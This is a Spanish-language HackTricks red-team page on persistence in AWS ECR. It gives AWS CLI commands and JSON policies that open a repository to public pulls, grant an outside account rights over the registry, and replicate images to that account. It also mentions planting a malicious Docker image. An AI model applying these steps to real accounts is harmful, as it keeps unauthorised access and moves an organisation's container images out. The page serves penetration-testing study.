AWS - ECR Persistence

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

ECR

Para más información, consulta:

AWS - ECR Enum

Imagen de Docker Oculta con Código Malicioso

Un atacante podría subir una imagen de Docker que contenga código malicioso a un repositorio de ECR y usarla para mantener la persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.

Política del Repositorio

Agrega una política a un solo repositorio otorgándote a ti mismo (o a todos) acceso a un repositorio:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Tenga en cuenta que ECR requiere que los usuarios tengan permiso para hacer llamadas a la ecr:GetAuthorizationToken API a través de una política IAM antes de que puedan autenticarse en un registro y subir o bajar imágenes de cualquier repositorio de Amazon ECR.

Política de Registro y Replicación entre Cuentas

Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesita indicar la cuenta externa donde desea replicar el registro.

Primero, necesita dar acceso a la cuenta externa sobre el registro con una política de registro como:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Luego aplica la configuración de replicación:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Last updated